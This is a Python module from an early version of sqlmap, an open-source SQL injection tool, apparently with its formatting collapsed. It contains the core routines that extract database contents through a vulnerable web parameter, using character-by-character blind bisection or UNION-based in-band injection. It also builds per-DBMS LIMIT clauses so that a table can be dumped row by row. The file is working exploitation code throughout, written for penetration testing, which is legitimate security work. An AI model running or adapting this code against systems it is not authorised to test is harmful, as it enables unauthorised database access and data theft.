#!/usr/bin/env python """ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. Copyright (c) 2006-2008 Bernardo Damele A. G. and Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License. sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ import re import time from lib.core.agent import agent from lib.core.common import cleanQuery from lib.core.common import dataToSessionFile from lib.core.common import expandAsteriskForColumns from lib.core.common import readInput from lib.core.common import replaceNewlineTabs from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.data import temp from lib.techniques.inband.union.use import unionUse from lib.techniques.inference.blind import bisection from lib.utils.resume import queryOutputLength from lib.utils.resume import resume def __getFieldsProxy(expression): _, _, _, expressionFields = agent.getFields(expression) expressionFieldsList = expressionFields.replace(", ", ",") expressionFieldsList = expressionFieldsList.split(",") return expressionFields, expressionFieldsList def __goInference(payload, expression): start = time.time() if ( conf.eta or conf.threads > 1 ) and kb.dbms: _, length, _ = queryOutputLength(expression, payload) else: length = None dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression)) count, value = bisection(payload, expression, length=length) duration = int(time.time() - start) infoMsg = "performed %d queries in %d seconds" % (count, duration) logger.info(infoMsg) return value def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload): outputs = [] for field in expressionFieldsList: output = None expressionReplaced = expression.replace(expressionFields, field, 1) output = resume(expressionReplaced, payload) if not output: output = __goInference(payload, expressionReplaced) outputs.append(output) return outputs def __goInferenceProxy(expression, fromUser=False): """ Retrieve the output of a SQL query characted by character taking advantage of an blind SQL injection vulnerability on the affected parameter through a bisection algorithm. """ query = agent.prefixQuery(temp.inference) query = agent.postfixQuery(query) payload = agent.payload(newValue=query) count = None startLimit = 0 stopLimit = None outputs = [] test = None untilLimitChar = None untilOrderChar = None output = resume(expression, payload) if output: return output if kb.dbmsDetected: expressionFields, expressionFieldsList = __getFieldsProxy(expression) if len(expressionFieldsList) > 1: infoMsg = "the SQL query provided has more than a field. " infoMsg += "sqlmap will now unpack it into distinct queries " infoMsg += "to be able to retrieve the output even if we " infoMsg += "are going blind" logger.info(infoMsg) # If we have been here from SQL query/shell we have to check if # the SQL query might return multiple entries and in such case # forge the SQL limiting the query output one entry per time # NOTE: I assume that only queries that get data from a table # can return multiple entries if fromUser and " FROM " in expression: limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I) if limitRegExp: if kb.dbms in ( "MySQL", "PostgreSQL" ): limitGroupStart = queries[kb.dbms].limitgroupstart limitGroupStop = queries[kb.dbms].limitgroupstop if limitGroupStart.isdigit(): startLimit = int(limitRegExp.group(int(limitGroupStart))) stopLimit = limitRegExp.group(int(limitGroupStop)) limitCond = int(stopLimit) > 1 elif kb.dbms in ( "Oracle", "Microsoft SQL Server" ): limitCond = False else: limitCond = True # I assume that only queries NOT containing a "LIMIT #, 1" # (or similar depending on the back-end DBMS) can return # multiple entries if limitCond: if limitRegExp: stopLimit = int(stopLimit) # From now on we need only the expression until the " LIMIT " # (or similar, depending on the back-end DBMS) word if kb.dbms in ( "MySQL", "PostgreSQL" ): stopLimit += startLimit untilLimitChar = expression.index(queries[kb.dbms].limitstring) expression = expression[:untilLimitChar] if not stopLimit or stopLimit <= 1: if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"): test = "n" else: message = "does the SQL query that you provide might " message += "return multiple entries? [Y/n] " test = readInput(message, default="Y") if not test or test[0] in ("y", "Y"): # Count the number of SQL query entries output countFirstField = queries[kb.dbms].count % expressionFieldsList[0] countedExpression = expression.replace(expressionFields, countFirstField, 1) if re.search(" ORDER BY ", expression, re.I): untilOrderChar = countedExpression.index(" ORDER BY ") countedExpression = countedExpression[:untilOrderChar] count = resume(countedExpression, payload) if not stopLimit: if not count: count = __goInference(payload, countedExpression) if count.isdigit() and int(count) > 0: count = int(count) message = "the SQL query that you provide can " message += "return up to %d entries. How many " % count message += "entries do you want to retrieve?\n" message += "[a] All (default)\n[#] Specific number\n" message += "[q] Quit\nChoice: " test = readInput(message, default="a") if not test or test[0] in ("a", "A"): stopLimit = count elif test[0] in ("q", "Q"): return "Quit" elif test.isdigit() and int(test) > 0 and int(test) <= count: stopLimit = int(test) infoMsg = "sqlmap is now going to retrieve the " infoMsg += "first %d query output entries" % stopLimit logger.info(infoMsg) elif test[0] in ("#", "s", "S"): message = "How many? " stopLimit = readInput(message, default="10") if not stopLimit.isdigit(): errMsg = "Invalid choice" logger.error(errMsg) return None else: stopLimit = int(stopLimit) else: errMsg = "Invalid choice" logger.error(errMsg) return None elif ( not count or int(count) == 0 ): warnMsg = "the SQL query that you provided does " warnMsg += "not return any output" logger.warn(warnMsg) return None elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ): warnMsg = "the SQL query that you provided does " warnMsg += "not return any output" logger.warn(warnMsg) return None for num in xrange(startLimit, stopLimit): limitedExpr = expression if kb.dbms in ( "MySQL", "PostgreSQL" ): limitStr = queries[kb.dbms].limit % (num, 1) limitedExpr += " %s" % limitStr elif kb.dbms == "Oracle": limitStr = queries[kb.dbms].limit fromIndex = limitedExpr.index(" FROM ") untilFrom = limitedExpr[:fromIndex] fromFrom = limitedExpr[fromIndex+1:] limitedExpr = "%s FROM (%s, %s" % (untilFrom, untilFrom, limitStr) limitedExpr = limitedExpr % fromFrom limitedExpr += "=%d" % (num + 1) elif kb.dbms == "Microsoft SQL Server": if re.search(" ORDER BY ", limitedExpr, re.I): untilOrderChar = limitedExpr.index(" ORDER BY ") limitedExpr = limitedExpr[:untilOrderChar] limitStr = queries[kb.dbms].limit fromIndex = limitedExpr.index(" FROM ") untilFrom = limitedExpr[:fromIndex] fromFrom = limitedExpr[fromIndex+1:] limitedExpr = limitedExpr.replace("SELECT ", (limitStr % 1), 1) limitedExpr = "%s WHERE %s " % (limitedExpr, expressionFieldsList[0]) limitedExpr += "NOT IN (%s" % (limitStr % num) limitedExpr += "%s %s)" % (expressionFieldsList[0], fromFrom) output = __goInferenceFields(limitedExpr, expressionFields, expressionFieldsList, payload) outputs.append(output) return outputs elif kb.dbms == "Oracle" and expression.startswith("SELECT ") and " FROM " not in expression: expression = "%s FROM DUAL" % expression outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload) returnValue = ", ".join([output for output in outputs]) else: returnValue = __goInference(payload, expression) return returnValue def __goInband(expression): """ Retrieve the output of a SQL query taking advantage of an inband SQL injection vulnerability on the affected parameter. """ counter = None output = None partial = False data = [] condition = ( kb.resumedQueries and conf.url in kb.resumedQueries.keys() and expression in kb.resumedQueries[conf.url].keys() ) if condition: output = resume(expression, None) if not output: partial = True if not output: output = unionUse(expression) fields = expression.split(",") counter = len(fields) if output: outCond1 = ( output.startswith(temp.start) and output.endswith(temp.stop) ) outCond2 = ( output.startswith("__START__") and output.endswith("__STOP__") ) if outCond1 or outCond2: if outCond1: regExpr = '%s(.*?)%s' % (temp.start, temp.stop) elif outCond2: regExpr = '__START__(.*?)__STOP__' output = re.findall(regExpr, output, re.S) if partial or not condition: logOutput = "".join(["__START__%s__STOP__" % replaceNewlineTabs(value) for value in output]) dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, logOutput)) output = set(output) for entry in output: info = [] if "__DEL__" in entry: entry = entry.split("__DEL__") else: entry = entry.split(temp.delimiter) if len(entry) == 1: data.append(entry[0]) else: for value in entry: info.append(value) data.append(info) else: data = output if len(data) == 1 and isinstance(data[0], str): data = data[0] return data def getValue(expression, blind=True, inband=True, fromUser=False): """ Called each time sqlmap inject a SQL query on the SQL injection affected parameter. It can call a function to retrieve the output through inband SQL injection (if selected) and/or blind SQL injection (if selected). """ expression = cleanQuery(expression) expression = expandAsteriskForColumns(expression) value = None if inband and conf.unionUse and kb.dbms: value = __goInband(expression) if blind and not value: value = __goInferenceProxy(expression, fromUser) return value